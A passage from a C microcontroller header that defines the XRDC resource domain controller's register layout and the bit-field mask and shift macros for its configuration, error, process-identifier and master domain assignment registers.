__I uint32_t HWCFG2; /**< Hardware Configuration Register 2, offset: 0xF8 */
__I uint32_t HWCFG3; /**< Hardware Configuration Register 3, offset: 0xFC */
__I uint8_t MDACFG[38]; /**< Master Domain Assignment Configuration Register, array offset: 0x100, array step: 0x1 */
uint8_t RESERVED_1[26];
__I uint8_t MRCFG[2]; /**< Memory Region Configuration Register, array offset: 0x140, array step: 0x1 */
uint8_t RESERVED_2[190];
__I uint32_t DERRLOC[3]; /**< Domain Error Location Register, array offset: 0x200, array step: 0x4 */
uint8_t RESERVED_3[500];
__IO uint32_t DERR_W[19][4]; /**< Domain Error Word0 Register..Domain Error Word3 Register, array offset: 0x400, array step: index*0x10, index2*0x4 */
uint8_t RESERVED_4[464];
__IO uint32_t PID[37]; /**< Process Identifier, array offset: 0x700, array step: 0x4 */
uint8_t RESERVED_5[108];
struct { /* offset: 0x800, array step: 0x20 */
__IO uint32_t MDA_Wm_n[2]; /**< Master Domain Assignment Wm,n (DFMT=0), array offset: 0x800, array step: index*0x20, index2*0x4 */
uint8_t RESERVED_0[24];
} MDA_W_n[38];
uint8_t RESERVED_6[832];
__IO uint32_t PDAC_W[257][2]; /**< Peripheral Domain Access Control W0..Peripheral Domain Access Control W1, array offset: 0x1000, array step: index*0x8, index2*0x4 */
uint8_t RESERVED_7[2040];
__IO uint32_t MRGD_W[24][8]; /**< Memory Region Descriptor W0..Memory Region Descriptor W7, array offset: 0x2000, array step: index*0x20, index2*0x4 */
} XRDC_Type;
/* ----------------------------------------------------------------------------
-- XRDC Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup XRDC_Register_Masks XRDC Register Masks
* @{
*/
/*! @name CR - Control Register */
#define XRDC_CR_GVLD_MASK (0x1U)
#define XRDC_CR_GVLD_SHIFT (0U)
#define XRDC_CR_GVLD(x) (((uint32_t)(((uint32_t)(x)) << XRDC_CR_GVLD_SHIFT)) & XRDC_CR_GVLD_MASK)
#define XRDC_CR_HRL_MASK (0x1EU)
#define XRDC_CR_HRL_SHIFT (1U)
#define XRDC_CR_HRL(x) (((uint32_t)(((uint32_t)(x)) << XRDC_CR_HRL_SHIFT)) & XRDC_CR_HRL_MASK)
#define XRDC_CR_MRF_MASK (0x80U)
#define XRDC_CR_MRF_SHIFT (7U)
#define XRDC_CR_MRF(x) (((uint32_t)(((uint32_t)(x)) << XRDC_CR_MRF_SHIFT)) & XRDC_CR_MRF_MASK)
#define XRDC_CR_VAW_MASK (0x100U)
#define XRDC_CR_VAW_SHIFT (8U)
#define XRDC_CR_VAW(x) (((uint32_t)(((uint32_t)(x)) << XRDC_CR_VAW_SHIFT)) & XRDC_CR_VAW_MASK)
#define XRDC_CR_LK1_MASK (0x40000000U)
#define XRDC_CR_LK1_SHIFT (30U)
#define XRDC_CR_LK1(x) (((uint32_t)(((uint32_t)(x)) << XRDC_CR_LK1_SHIFT)) & XRDC_CR_LK1_MASK)
/*! @name HWCFG0 - Hardware Configuration Register 0 */
#define XRDC_HWCFG0_NDID_MASK (0xFFU)
#define XRDC_HWCFG0_NDID_SHIFT (0U)
#define XRDC_HWCFG0_NDID(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG0_NDID_SHIFT)) & XRDC_HWCFG0_NDID_MASK)
#define XRDC_HWCFG0_NMSTR_MASK (0xFF00U)
#define XRDC_HWCFG0_NMSTR_SHIFT (8U)
#define XRDC_HWCFG0_NMSTR(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG0_NMSTR_SHIFT)) & XRDC_HWCFG0_NMSTR_MASK)
#define XRDC_HWCFG0_NMRC_MASK (0xFF0000U)
#define XRDC_HWCFG0_NMRC_SHIFT (16U)
#define XRDC_HWCFG0_NMRC(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG0_NMRC_SHIFT)) & XRDC_HWCFG0_NMRC_MASK)
#define XRDC_HWCFG0_NPAC_MASK (0xF000000U)
#define XRDC_HWCFG0_NPAC_SHIFT (24U)
#define XRDC_HWCFG0_NPAC(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG0_NPAC_SHIFT)) & XRDC_HWCFG0_NPAC_MASK)
/*! @name HWCFG1 - Hardware Configuration Register 1 */
#define XRDC_HWCFG1_DID_MASK (0xFU)
#define XRDC_HWCFG1_DID_SHIFT (0U)
#define XRDC_HWCFG1_DID(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG1_DID_SHIFT)) & XRDC_HWCFG1_DID_MASK)
/*! @name HWCFG2 - Hardware Configuration Register 2 */
#define XRDC_HWCFG2_PIDP0_MASK (0x1U)
#define XRDC_HWCFG2_PIDP0_SHIFT (0U)
#define XRDC_HWCFG2_PIDP0(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP0_SHIFT)) & XRDC_HWCFG2_PIDP0_MASK)
#define XRDC_HWCFG2_PIDP1_MASK (0x2U)
#define XRDC_HWCFG2_PIDP1_SHIFT (1U)
#define XRDC_HWCFG2_PIDP1(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP1_SHIFT)) & XRDC_HWCFG2_PIDP1_MASK)
#define XRDC_HWCFG2_PIDP2_MASK (0x4U)
#define XRDC_HWCFG2_PIDP2_SHIFT (2U)
#define XRDC_HWCFG2_PIDP2(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP2_SHIFT)) & XRDC_HWCFG2_PIDP2_MASK)
#define XRDC_HWCFG2_PIDP3_MASK (0x8U)
#define XRDC_HWCFG2_PIDP3_SHIFT (3U)
#define XRDC_HWCFG2_PIDP3(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP3_SHIFT)) & XRDC_HWCFG2_PIDP3_MASK)
#define XRDC_HWCFG2_PIDP4_MASK (0x10U)
#define XRDC_HWCFG2_PIDP4_SHIFT (4U)
#define XRDC_HWCFG2_PIDP4(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP4_SHIFT)) & XRDC_HWCFG2_PIDP4_MASK)
#define XRDC_HWCFG2_PIDP5_MASK (0x20U)
#define XRDC_HWCFG2_PIDP5_SHIFT (5U)
#define XRDC_HWCFG2_PIDP5(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP5_SHIFT)) & XRDC_HWCFG2_PIDP5_MASK)
#define XRDC_HWCFG2_PIDP6_MASK (0x40U)
#define XRDC_HWCFG2_PIDP6_SHIFT (6U)
#define XRDC_HWCFG2_PIDP6(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP6_SHIFT)) & XRDC_HWCFG2_PIDP6_MASK)
#define XRDC_HWCFG2_PIDP7_MASK (0x80U)
#define XRDC_HWCFG2_PIDP7_SHIFT (7U)
#define XRDC_HWCFG2_PIDP7(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP7_SHIFT)) & XRDC_HWCFG2_PIDP7_MASK)
#define XRDC_HWCFG2_PIDP8_MASK (0x100U)
#define XRDC_HWCFG2_PIDP8_SHIFT (8U)
#define XRDC_HWCFG2_PIDP8(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP8_SHIFT)) & XRDC_HWCFG2_PIDP8_MASK)
#define XRDC_HWCFG2_PIDP9_MASK (0x200U)
#define XRDC_HWCFG2_PIDP9_SHIFT (9U)
#define XRDC_HWCFG2_PIDP9(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP9_SHIFT)) & XRDC_HWCFG2_PIDP9_MASK)
#define XRDC_HWCFG2_PIDP10_MASK (0x400U)
#define XRDC_HWCFG2_PIDP10_SHIFT (10U)
#define XRDC_HWCFG2_PIDP10(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP10_SHIFT)) & XRDC_HWCFG2_PIDP10_MASK)
#define XRDC_HWCFG2_PIDP11_MASK (0x800U)
#define XRDC_HWCFG2_PIDP11_SHIFT (11U)
#define XRDC_HWCFG2_PIDP11(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP11_SHIFT)) & XRDC_HWCFG2_PIDP11_MASK)
#define XRDC_HWCFG2_PIDP12_MASK (0x1000U)
#define XRDC_HWCFG2_PIDP12_SHIFT (12U)
#define XRDC_HWCFG2_PIDP12(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP12_SHIFT)) & XRDC_HWCFG2_PIDP12_MASK)
#define XRDC_HWCFG2_PIDP13_MASK (0x2000U)
#define XRDC_HWCFG2_PIDP13_SHIFT (13U)
#define XRDC_HWCFG2_PIDP13(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP13_SHIFT)) & XRDC_HWCFG2_PIDP13_MASK)
#define XRDC_HWCFG2_PIDP14_MASK (0x4000U)
#define XRDC_HWCFG2_PIDP14_SHIFT (14U)
#define XRDC_HWCFG2_PIDP14(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP14_SHIFT)) & XRDC_HWCFG2_PIDP14_MASK)
#define XRDC_HWCFG2_PIDP15_MASK (0x8000U)
#define XRDC_HWCFG2_PIDP15_SHIFT (15U)
#define XRDC_HWCFG2_PIDP15(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP15_SHIFT)) & XRDC_HWCFG2_PIDP15_MASK)
#define XRDC_HWCFG2_PIDP16_MASK (0x10000U)
#define XRDC_HWCFG2_PIDP16_SHIFT (16U)
#define XRDC_HWCFG2_PIDP16(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP16_SHIFT)) & XRDC_HWCFG2_PIDP16_MASK)
#define XRDC_HWCFG2_PIDP17_MASK (0x20000U)
#define XRDC_HWCFG2_PIDP17_SHIFT (17U)
#define XRDC_HWCFG2_PIDP17(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP17_SHIFT)) & XRDC_HWCFG2_PIDP17_MASK)
#define XRDC_HWCFG2_PIDP18_MASK (0x40000U)
#define XRDC_HWCFG2_PIDP18_SHIFT (18U)
#define XRDC_HWCFG2_PIDP18(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP18_SHIFT)) & XRDC_HWCFG2_PIDP18_MASK)
#define XRDC_HWCFG2_PIDP19_MASK (0x80000U)
#define XRDC_HWCFG2_PIDP19_SHIFT (19U)
#define XRDC_HWCFG2_PIDP19(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP19_SHIFT)) & XRDC_HWCFG2_PIDP19_MASK)
#define XRDC_HWCFG2_PIDP20_MASK (0x100000U)
#define XRDC_HWCFG2_PIDP20_SHIFT (20U)
#define XRDC_HWCFG2_PIDP20(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP20_SHIFT)) & XRDC_HWCFG2_PIDP20_MASK)
#define XRDC_HWCFG2_PIDP21_MASK (0x200000U)
#define XRDC_HWCFG2_PIDP21_SHIFT (21U)
#define XRDC_HWCFG2_PIDP21(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP21_SHIFT)) & XRDC_HWCFG2_PIDP21_MASK)
#define XRDC_HWCFG2_PIDP22_MASK (0x400000U)
#define XRDC_HWCFG2_PIDP22_SHIFT (22U)
#define XRDC_HWCFG2_PIDP22(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP22_SHIFT)) & XRDC_HWCFG2_PIDP22_MASK)
#define XRDC_HWCFG2_PIDP23_MASK (0x800000U)
#define XRDC_HWCFG2_PIDP23_SHIFT (23U)
#define XRDC_HWCFG2_PIDP23(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP23_SHIFT)) & XRDC_HWCFG2_PIDP23_MASK)
#define XRDC_HWCFG2_PIDP24_MASK (0x1000000U)
#define XRDC_HWCFG2_PIDP24_SHIFT (24U)
#define XRDC_HWCFG2_PIDP24(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP24_SHIFT)) & XRDC_HWCFG2_PIDP24_MASK)
#define XRDC_HWCFG2_PIDP25_MASK (0x2000000U)
#define XRDC_HWCFG2_PIDP25_SHIFT (25U)
#define XRDC_HWCFG2_PIDP25(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP25_SHIFT)) & XRDC_HWCFG2_PIDP25_MASK)
#define XRDC_HWCFG2_PIDP26_MASK (0x4000000U)
#define XRDC_HWCFG2_PIDP26_SHIFT (26U)
#define XRDC_HWCFG2_PIDP26(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP26_SHIFT)) & XRDC_HWCFG2_PIDP26_MASK)
#define XRDC_HWCFG2_PIDP27_MASK (0x8000000U)
#define XRDC_HWCFG2_PIDP27_SHIFT (27U)
#define XRDC_HWCFG2_PIDP27(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP27_SHIFT)) & XRDC_HWCFG2_PIDP27_MASK)
#define XRDC_HWCFG2_PIDP28_MASK (0x10000000U)
#define XRDC_HWCFG2_PIDP28_SHIFT (28U)
#define XRDC_HWCFG2_PIDP28(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP28_SHIFT)) & XRDC_HWCFG2_PIDP28_MASK)
#define XRDC_HWCFG2_PIDP29_MASK (0x20000000U)
#define XRDC_HWCFG2_PIDP29_SHIFT (29U)
#define XRDC_HWCFG2_PIDP29(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP29_SHIFT)) & XRDC_HWCFG2_PIDP29_MASK)
#define XRDC_HWCFG2_PIDP30_MASK (0x40000000U)
#define XRDC_HWCFG2_PIDP30_SHIFT (30U)
#define XRDC_HWCFG2_PIDP30(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP30_SHIFT)) & XRDC_HWCFG2_PIDP30_MASK)
#define XRDC_HWCFG2_PIDP31_MASK (0x80000000U)
#define XRDC_HWCFG2_PIDP31_SHIFT (31U)
#define XRDC_HWCFG2_PIDP31(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG2_PIDP31_SHIFT)) & XRDC_HWCFG2_PIDP31_MASK)
/*! @name HWCFG3 - Hardware Configuration Register 3 */
#define XRDC_HWCFG3_PIDP32_MASK (0x1U)
#define XRDC_HWCFG3_PIDP32_SHIFT (0U)
#define XRDC_HWCFG3_PIDP32(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP32_SHIFT)) & XRDC_HWCFG3_PIDP32_MASK)
#define XRDC_HWCFG3_PIDP33_MASK (0x2U)
#define XRDC_HWCFG3_PIDP33_SHIFT (1U)
#define XRDC_HWCFG3_PIDP33(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP33_SHIFT)) & XRDC_HWCFG3_PIDP33_MASK)
#define XRDC_HWCFG3_PIDP34_MASK (0x4U)
#define XRDC_HWCFG3_PIDP34_SHIFT (2U)
#define XRDC_HWCFG3_PIDP34(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP34_SHIFT)) & XRDC_HWCFG3_PIDP34_MASK)
#define XRDC_HWCFG3_PIDP35_MASK (0x8U)
#define XRDC_HWCFG3_PIDP35_SHIFT (3U)
#define XRDC_HWCFG3_PIDP35(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP35_SHIFT)) & XRDC_HWCFG3_PIDP35_MASK)
#define XRDC_HWCFG3_PIDP36_MASK (0x10U)
#define XRDC_HWCFG3_PIDP36_SHIFT (4U)
#define XRDC_HWCFG3_PIDP36(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP36_SHIFT)) & XRDC_HWCFG3_PIDP36_MASK)
#define XRDC_HWCFG3_PIDP37_MASK (0x20U)
#define XRDC_HWCFG3_PIDP37_SHIFT (5U)
#define XRDC_HWCFG3_PIDP37(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP37_SHIFT)) & XRDC_HWCFG3_PIDP37_MASK)
#define XRDC_HWCFG3_PIDP38_MASK (0x40U)
#define XRDC_HWCFG3_PIDP38_SHIFT (6U)
#define XRDC_HWCFG3_PIDP38(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP38_SHIFT)) & XRDC_HWCFG3_PIDP38_MASK)
#define XRDC_HWCFG3_PIDP39_MASK (0x80U)
#define XRDC_HWCFG3_PIDP39_SHIFT (7U)
#define XRDC_HWCFG3_PIDP39(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP39_SHIFT)) & XRDC_HWCFG3_PIDP39_MASK)
#define XRDC_HWCFG3_PIDP40_MASK (0x100U)
#define XRDC_HWCFG3_PIDP40_SHIFT (8U)
#define XRDC_HWCFG3_PIDP40(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP40_SHIFT)) & XRDC_HWCFG3_PIDP40_MASK)
#define XRDC_HWCFG3_PIDP41_MASK (0x200U)
#define XRDC_HWCFG3_PIDP41_SHIFT (9U)
#define XRDC_HWCFG3_PIDP41(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP41_SHIFT)) & XRDC_HWCFG3_PIDP41_MASK)
#define XRDC_HWCFG3_PIDP42_MASK (0x400U)
#define XRDC_HWCFG3_PIDP42_SHIFT (10U)
#define XRDC_HWCFG3_PIDP42(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP42_SHIFT)) & XRDC_HWCFG3_PIDP42_MASK)
#define XRDC_HWCFG3_PIDP43_MASK (0x800U)
#define XRDC_HWCFG3_PIDP43_SHIFT (11U)
#define XRDC_HWCFG3_PIDP43(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP43_SHIFT)) & XRDC_HWCFG3_PIDP43_MASK)
#define XRDC_HWCFG3_PIDP44_MASK (0x1000U)
#define XRDC_HWCFG3_PIDP44_SHIFT (12U)
#define XRDC_HWCFG3_PIDP44(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP44_SHIFT)) & XRDC_HWCFG3_PIDP44_MASK)
#define XRDC_HWCFG3_PIDP45_MASK (0x2000U)
#define XRDC_HWCFG3_PIDP45_SHIFT (13U)
#define XRDC_HWCFG3_PIDP45(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP45_SHIFT)) & XRDC_HWCFG3_PIDP45_MASK)
#define XRDC_HWCFG3_PIDP46_MASK (0x4000U)
#define XRDC_HWCFG3_PIDP46_SHIFT (14U)
#define XRDC_HWCFG3_PIDP46(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP46_SHIFT)) & XRDC_HWCFG3_PIDP46_MASK)
#define XRDC_HWCFG3_PIDP47_MASK (0x8000U)
#define XRDC_HWCFG3_PIDP47_SHIFT (15U)
#define XRDC_HWCFG3_PIDP47(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP47_SHIFT)) & XRDC_HWCFG3_PIDP47_MASK)
#define XRDC_HWCFG3_PIDP48_MASK (0x10000U)
#define XRDC_HWCFG3_PIDP48_SHIFT (16U)
#define XRDC_HWCFG3_PIDP48(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP48_SHIFT)) & XRDC_HWCFG3_PIDP48_MASK)
#define XRDC_HWCFG3_PIDP49_MASK (0x20000U)
#define XRDC_HWCFG3_PIDP49_SHIFT (17U)
#define XRDC_HWCFG3_PIDP49(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP49_SHIFT)) & XRDC_HWCFG3_PIDP49_MASK)
#define XRDC_HWCFG3_PIDP50_MASK (0x40000U)
#define XRDC_HWCFG3_PIDP50_SHIFT (18U)
#define XRDC_HWCFG3_PIDP50(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP50_SHIFT)) & XRDC_HWCFG3_PIDP50_MASK)
#define XRDC_HWCFG3_PIDP51_MASK (0x80000U)
#define XRDC_HWCFG3_PIDP51_SHIFT (19U)
#define XRDC_HWCFG3_PIDP51(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP51_SHIFT)) & XRDC_HWCFG3_PIDP51_MASK)
#define XRDC_HWCFG3_PIDP52_MASK (0x100000U)
#define XRDC_HWCFG3_PIDP52_SHIFT (20U)
#define XRDC_HWCFG3_PIDP52(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP52_SHIFT)) & XRDC_HWCFG3_PIDP52_MASK)
#define XRDC_HWCFG3_PIDP53_MASK (0x200000U)
#define XRDC_HWCFG3_PIDP53_SHIFT (21U)
#define XRDC_HWCFG3_PIDP53(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP53_SHIFT)) & XRDC_HWCFG3_PIDP53_MASK)
#define XRDC_HWCFG3_PIDP54_MASK (0x400000U)
#define XRDC_HWCFG3_PIDP54_SHIFT (22U)
#define XRDC_HWCFG3_PIDP54(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP54_SHIFT)) & XRDC_HWCFG3_PIDP54_MASK)
#define XRDC_HWCFG3_PIDP55_MASK (0x800000U)
#define XRDC_HWCFG3_PIDP55_SHIFT (23U)
#define XRDC_HWCFG3_PIDP55(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP55_SHIFT)) & XRDC_HWCFG3_PIDP55_MASK)
#define XRDC_HWCFG3_PIDP56_MASK (0x1000000U)
#define XRDC_HWCFG3_PIDP56_SHIFT (24U)
#define XRDC_HWCFG3_PIDP56(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP56_SHIFT)) & XRDC_HWCFG3_PIDP56_MASK)
#define XRDC_HWCFG3_PIDP57_MASK (0x2000000U)
#define XRDC_HWCFG3_PIDP57_SHIFT (25U)
#define XRDC_HWCFG3_PIDP57(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP57_SHIFT)) & XRDC_HWCFG3_PIDP57_MASK)
#define XRDC_HWCFG3_PIDP58_MASK (0x4000000U)
#define XRDC_HWCFG3_PIDP58_SHIFT (26U)
#define XRDC_HWCFG3_PIDP58(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP58_SHIFT)) & XRDC_HWCFG3_PIDP58_MASK)
#define XRDC_HWCFG3_PIDP59_MASK (0x8000000U)
#define XRDC_HWCFG3_PIDP59_SHIFT (27U)
#define XRDC_HWCFG3_PIDP59(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP59_SHIFT)) & XRDC_HWCFG3_PIDP59_MASK)
#define XRDC_HWCFG3_PIDP60_MASK (0x10000000U)
#define XRDC_HWCFG3_PIDP60_SHIFT (28U)
#define XRDC_HWCFG3_PIDP60(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP60_SHIFT)) & XRDC_HWCFG3_PIDP60_MASK)
#define XRDC_HWCFG3_PIDP61_MASK (0x20000000U)
#define XRDC_HWCFG3_PIDP61_SHIFT (29U)
#define XRDC_HWCFG3_PIDP61(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP61_SHIFT)) & XRDC_HWCFG3_PIDP61_MASK)
#define XRDC_HWCFG3_PIDP62_MASK (0x40000000U)
#define XRDC_HWCFG3_PIDP62_SHIFT (30U)
#define XRDC_HWCFG3_PIDP62(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP62_SHIFT)) & XRDC_HWCFG3_PIDP62_MASK)
#define XRDC_HWCFG3_PIDP63_MASK (0x80000000U)
#define XRDC_HWCFG3_PIDP63_SHIFT (31U)
#define XRDC_HWCFG3_PIDP63(x) (((uint32_t)(((uint32_t)(x)) << XRDC_HWCFG3_PIDP63_SHIFT)) & XRDC_HWCFG3_PIDP63_MASK)
/*! @name MDACFG - Master Domain Assignment Configuration Register */
#define XRDC_MDACFG_NMDAR_MASK (0xFU)
#define XRDC_MDACFG_NMDAR_SHIFT (0U)
#define XRDC_MDACFG_NMDAR(x) (((uint8_t)(((uint8_t)(x)) << XRDC_MDACFG_NMDAR_SHIFT)) & XRDC_MDACFG_NMDAR_MASK)
#define XRDC_MDACFG_NCM_MASK (0x80U)
#define XRDC_MDACFG_NCM_SHIFT (7U)
#define XRDC_MDACFG_NCM(x) (((uint8_t)(((uint8_t)(x)) << XRDC_MDACFG_NCM_SHIFT)) & XRDC_MDACFG_NCM_MASK)
/* The count of XRDC_MDACFG */
#define XRDC_MDACFG_COUNT (38U)
/*! @name MRCFG - Memory Region Configuration Register */
#define XRDC_MRCFG_NMGD_MASK (0x1FU)
#define XRDC_MRCFG_NMGD_SHIFT (0U)
#define XRDC_MRCFG_NMGD(x) (((uint8_t)(((uint8_t)(x)) << XRDC_MRCFG_NMGD_SHIFT)) & XRDC_MRCFG_NMGD_MASK)
/* The count of XRDC_MRCFG */
#define XRDC_MRCFG_COUNT (2U)
/*! @name DERRLOC - Domain Error Location Register */
#define XRDC_DERRLOC_MRCINST_MASK (0xFFFFU)
#define XRDC_DERRLOC_MRCINST_SHIFT (0U)
#define XRDC_DERRLOC_MRCINST(x) (((uint32_t)(((uint32_t)(x)) << XRDC_DERRLOC_MRCINST_SHIFT)) & XRDC_DERRLOC_MRCINST_MASK)
#define XRDC_DERRLOC_PACINST_MASK (0xF0000U)
#define XRDC_DERRLOC_PACINST_SHIFT (16U)
#define XRDC_DERRLOC_PACINST(x) (((uint32_t)(((uint32_t)(x)) << XRDC_DERRLOC_PACINST_SHIFT)) & XRDC_DERRLOC_PACINST_MASK)
/* The count of XRDC_DERRLOC */
#define XRDC_DERRLOC_COUNT (3U)
/*! @name DERR_W - Domain Error Word0 Register..Domain Error Word3 Register */
#define XRDC_DERR_W_EDID_MASK (0xFU)
#define XRDC_DERR_W_EDID_SHIFT (0U)
#define XRDC_DERR_W_EDID(x) (((uint32_t)(((uint32_t)(x)) << XRDC_DERR_W_EDID_SHIFT)) & XRDC_DERR_W_EDID_MASK)
#define XRDC_DERR_W_EADDR_MASK (0xFFFFFFFFU)
#define XRDC_DERR_W_EADDR_SHIFT (0U)
#define XRDC_DERR_W_EADDR(x) (((uint32_t)(((uint32_t)(x)) << XRDC_DERR_W_EADDR_SHIFT)) & XRDC_DERR_W_EADDR_MASK)
#define XRDC_DERR_W_EATR_MASK (0x700U)
#define XRDC_DERR_W_EATR_SHIFT (8U)
#define XRDC_DERR_W_EATR(x) (((uint32_t)(((uint32_t)(x)) << XRDC_DERR_W_EATR_SHIFT)) & XRDC_DERR_W_EATR_MASK)
#define XRDC_DERR_W_ERW_MASK (0x800U)
#define XRDC_DERR_W_ERW_SHIFT (11U)
#define XRDC_DERR_W_ERW(x) (((uint32_t)(((uint32_t)(x)) << XRDC_DERR_W_ERW_SHIFT)) & XRDC_DERR_W_ERW_MASK)
#define XRDC_DERR_W_EPORT_MASK (0x7000000U)
#define XRDC_DERR_W_EPORT_SHIFT (24U)
#define XRDC_DERR_W_EPORT(x) (((uint32_t)(((uint32_t)(x)) << XRDC_DERR_W_EPORT_SHIFT)) & XRDC_DERR_W_EPORT_MASK)
#define XRDC_DERR_W_EST_MASK (0xC0000000U)
#define XRDC_DERR_W_EST_SHIFT (30U)
#define XRDC_DERR_W_EST(x) (((uint32_t)(((uint32_t)(x)) << XRDC_DERR_W_EST_SHIFT)) & XRDC_DERR_W_EST_MASK)
#define XRDC_DERR_W_RECR_MASK (0xC0000000U)
#define XRDC_DERR_W_RECR_SHIFT (30U)
#define XRDC_DERR_W_RECR(x) (((uint32_t)(((uint32_t)(x)) << XRDC_DERR_W_RECR_SHIFT)) & XRDC_DERR_W_RECR_MASK)
/* The count of XRDC_DERR_W */
#define XRDC_DERR_W_COUNT (19U)
/* The count of XRDC_DERR_W */
#define XRDC_DERR_W_COUNT2 (4U)
/*! @name PID - Process Identifier */
#define XRDC_PID_PID_MASK (0x3FU)
#define XRDC_PID_PID_SHIFT (0U)
#define XRDC_PID_PID(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PID_PID_SHIFT)) & XRDC_PID_PID_MASK)
#define XRDC_PID_TSM_MASK (0x10000000U)
#define XRDC_PID_TSM_SHIFT (28U)
#define XRDC_PID_TSM(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PID_TSM_SHIFT)) & XRDC_PID_TSM_MASK)
#define XRDC_PID_LK2_MASK (0x60000000U)
#define XRDC_PID_LK2_SHIFT (29U)
#define XRDC_PID_LK2(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PID_LK2_SHIFT)) & XRDC_PID_LK2_MASK)
/* The count of XRDC_PID */
#define XRDC_PID_COUNT (37U)
/*! @name MDA_Wm_n - Master Domain Assignment Wm,n (DFMT=0) */
#define XRDC_MDA_Wm_n_DID_MASK (0xFU)
#define XRDC_MDA_Wm_n_DID_SHIFT (0U)
#define XRDC_MDA_Wm_n_DID(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_DID_SHIFT)) & XRDC_MDA_Wm_n_DID_MASK)
#define XRDC_MDA_Wm_n_DIDS_MASK (0x30U)
#define XRDC_MDA_Wm_n_DIDS_SHIFT (4U)
#define XRDC_MDA_Wm_n_DIDS(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_DIDS_SHIFT)) & XRDC_MDA_Wm_n_DIDS_MASK)
#define XRDC_MDA_Wm_n_PE_MASK (0xC0U)
#define XRDC_MDA_Wm_n_PE_SHIFT (6U)
